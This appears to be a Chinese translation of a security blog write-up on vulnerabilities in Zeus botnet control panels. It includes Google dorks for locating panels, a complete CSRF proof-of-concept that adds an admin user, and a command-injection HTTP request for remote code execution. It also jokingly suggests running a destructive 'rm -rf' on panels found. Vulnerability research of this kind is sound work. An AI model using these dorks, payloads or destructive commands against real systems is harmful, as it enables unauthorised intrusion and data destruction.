Jump ESP, jump!: 攻击金融恶意软件僵尸网络面板 - Zeus
最近我研究了一些泄露的金融恶意软件。当我发现这些控制面板是用PHP编写时,我的第一个想法就是攻击它们。以下是一个晚上的研究成果,请不要期望这是一份完整的渗透测试报告,包含所有发现的漏洞 :-)
本报告基于Zeus 2.0.8.9,虽然版本较旧,但我相信许多Zeus克隆版本(以及C&C面板)都依赖此代码。
首先,以下是一些用于查找Zeus C&C服务器面板相关内容的Google搜索语法:
inurl:cp.php?m=login
- 这应该是控制面板的登录页面
inurl:_reports/files
- 在这些文件夹中,你可以找到被盗的数据,如果被Google索引会很有趣
inurl:install/index.php
- 这应该被删除,但我认为现在这已经没用了
发现的乏味漏洞
- 明文HTTP登录 - 可以通过中间人攻击嗅探登录密码,或窃取会话cookie
- 无密码策略 - 管理员可以设置非常弱的密码
- 无防暴力破解 - 你可以尝试猜测管理员密码。默认用户名为admin
- 启用密码自动完成 - 乏味
- 会话cookie缺少HttpOnly标志 - 如果我能找到任何XSS漏洞就好了。我需要更多时间来找一个!
- 无CSRF保护 - 除了密码更改时需要旧密码 :-( 乏味
更新:你可以使用CSRF创建一个具有管理员权限的新用户:
1
|
<html><head> <title></title></head><body> <pre> 这是一个在Zeus管理面板中创建新管理员用户的CSRF POC。 用户名:user_1392719246 密码:admin1 你可能需要将URL中的127.0.0.1改为目标地址。 在 <span id="countdown">10</span> 秒后重定向到隐藏的iframe。 </pre><iframe id="csrf-frame" name="csrf-frame" style="display: none;"></iframe> <form action="http://127.0.0.1/cp.php?m=sys_users&new" id="csrf-form" method="post" name="csrf-form" target="csrf-frame"> <input name="name" type="hidden" value="user_1392719246" /> <input name="password" type="hidden" value="admin1" /> <input name="status" type="hidden" value="1" /> <input name="comment" type="hidden" value="PWND!" /> <input name="r_botnet_bots" type="hidden" value="1" /> <input name="r_botnet_scripts" type="hidden" value="1" /> <input name="r_botnet_scripts_edit" type="hidden" value="1" /> <input name="r_edit_bots" type="hidden" value="1" /> <input name="r_reports_db" type="hidden" value="1" /> <input name="r_reports_db_edit" type="hidden" value="1" /> <input name="r_reports_files" type="hidden" value="1" /> <input name="r_reports_files_edit" type="hidden" value="1" /> <input name="r_reports_jn" type="hidden" value="1" /> <input name="r_stats_main" type="hidden" value="1" /> <input name="r_stats_main_reset" type="hidden" value="1" /> <input name="r_stats_os" type="hidden" value="1" /> <input name="r_system_info" type="hidden" value="1" /> <input name="r_system_options" type="hidden" value="1" /> <input name="r_system_user" type="hidden" value="1" /> <input name="r_system_users" type="hidden" value="1" /> </form><script type="text/javascript"> window.onload=function(){ var counter = 10; var interval = setInterval(function() { counter--; document.getElementById('countdown').innerHTML = counter; if (counter == 0) { redirect(); clearInterval(interval); } }, 1000); }; function redirect() { document.getElementById("csrf-form").submit(); } </script></body></html>
|
- MD5密码 - MySQL中存储的密码是MD5密码。没有PBKDF2、bcrypt、scrypt、盐值等。只有MD5。
- 点击劫持 - 真的很乏味的东西
- 记住我(MD5 cookies) - 一个非常糟糕的想法。在这种情况下,“记住我"功能的实现方式是将密码的MD5和用户名的MD5存储在cookie中。如果我有XSS,我也可以获取MD5(密码)。
- SQL注入 - 虽然使用连接而不是参数化查询,并且使用了addslashes,但整数总是被引号包围。这意味着只有在特殊编码(如GB/Big5)的情况下才能被黑客攻击,这不太可能。
好消息(对C&C面板所有者而言)
以下内容看起来不错,至少一些漏洞被认真对待了:
- 系统目录受.htaccess deny from all保护。
gate.php
- 这是僵尸程序与服务器之间的"网关”,这个PHP总是暴露在互联网上。如果你不知道密钥,这个PHP的执行会提前终止。但你可以从这个特定僵尸网络的二进制文件中获取密钥(另一个URL说明如何做到这一点)。如果你有密钥,那么你可以用垃圾填充数据库,但这是我目前能想到的全部。
- 防XSS:以下代码几乎到处都在使用
1
|
return htmlspecialchars(preg_replace('|[\x00-\x09\x0B\x0C\x0E-\x1F\x7F-\x9F]|u', ' ', $string), ENT_QUOTES, 'UTF-8');
|
我邪恶的想法是注入恶意的bot_id,但看起来它到处都被过滤了。悲伤的熊猫。
真正糟糕的消息(对C&C面板所有者而言)
我能够找到的最好的漏洞,通过命令注入实现远程代码执行(快乐的熊猫),但仅适用于经过身份验证的用户(悲伤的熊猫)。
易受攻击的代码在system/fsarc.php
中:
1
2
3
4
5
6
|
function fsarcCreate($archive, $files){
...
$archive .= '.zip';
$cli = 'zip -r -9 -q -S "'.$archive.'" "'.implode('" "', $files).'"';
exec($cli, $e, $r);
}
|
利用方法再简单不过了:
1
2
3
4
5
6
|
POST /cp.php?m=reports_files&path= HTTP/1.1
...
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
filesaction=1&files%5B%5D=files"||ping%20-n%2010%20127.0.0.1
|
因为在我的Windows机器上找不到zip实用程序。在攻击Windows时,你可以尝试将||
替换为&&
(不要忘记URL编码!),或者在攻击Linux时将||
替换为;
。你还可以将此漏洞与CSRF漏洞链接起来,但你不太可能同时知道控制面板管理员和控制面板URL。或者如果是这种情况,管理员应该更好地实践OPSEC :)
建议:下次使用escapeshellcmd
。
下次你找到一个带有弱密码的易受攻击的控制面板时,只需rm -rf --no-preserve-root /
它 ;-)
就这样吧!
特别感谢Richard(XAMPP Apache服务以SYSTEM身份运行 ;-) )
更新:看起来如果你知道RC4密钥,gate.php
值得调查。你可以上传一个PHP shell :)